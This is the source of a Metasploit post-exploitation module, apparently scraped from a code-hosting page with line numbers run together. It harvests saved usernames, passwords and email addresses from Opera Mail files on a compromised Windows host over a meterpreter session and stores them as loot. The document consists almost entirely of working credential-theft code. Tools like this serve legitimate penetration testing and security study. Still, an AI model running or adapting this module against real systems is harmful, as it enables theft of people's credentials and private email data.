Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/operamail.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# this associative array defines the artifacts known to PackRat8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::Windows::Packrat11ARTIFACTS =12{13application: 'operamail',14app_category: 'emails',15gatherable_artifacts: [16{17filetypes: 'chats_image',18path: 'AppData',19dir: 'Opera Mail',20artifact_file_name: 'wand.dat',21description: "Opera-Mail's saved Username and Passwords",22credential_type: 'text',23regex_search: [24{25extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',26extraction_type: 'credentials',27regex: [28'(?i-mx:password.*)',29'(?i-mx:username.*)'30]31},32{33extraction_description: 'searches for Email TO/FROM address',34extraction_type: 'Email addresses',35regex: [36'(?i-mx:to:.*)',37'(?i-mx:from:.*)'38]39}40]41},42{43filetypes: 'email_logs',44path: 'LocalAppData',45dir: 'Opera Mail',46artifact_file_name: '*.mbs',47description: "Opera-Mail's Emails",48credential_type: 'text',49regex_search: [50{51extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',52extraction_type: 'credentials',53regex: [54'(?i-mx:password.*)',55'(?i-mx:username.*)'56]57},58{59extraction_description: 'searches for Email TO/FROM address',60extraction_type: 'Email addresses',61regex: [62'(?i-mx:to:.*)',63'(?i-mx:from:.*)'64]65}66]67}68]69}.freeze7071def initialize(info = {})72super(73update_info(74info,75'Name' => 'Operamail credential gatherer',76'Description' => %q{77PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.78PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.79Further details can be found in the module documentation.80This is a module that searches for Operamail credentials on a windows remote host.81},82'License' => MSF_LICENSE,83'Author' => [84'Kazuyoshi Maruta',85'Daniel Hallsworth',86'Barwar Salim M',87'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org88],89'Platform' => ['win'],90'SessionTypes' => ['meterpreter'],91'Notes' => {92'Stability' => [CRASH_SAFE],93'Reliability' => [],94'SideEffects' => []95}96)97)9899register_options(100[101OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),102OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),103OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),104# enumerates the options based on the artifacts that are defined below105OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])106]107)108end109110def run111print_status('Filtering based on these selections: ')112print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")113print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")114print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")115116# used to grab files for each user on the remote host117grab_user_profiles.each do |userprofile|118run_packrat(userprofile, ARTIFACTS)119end120121print_status 'PackRat credential sweep Completed'122end123end124125126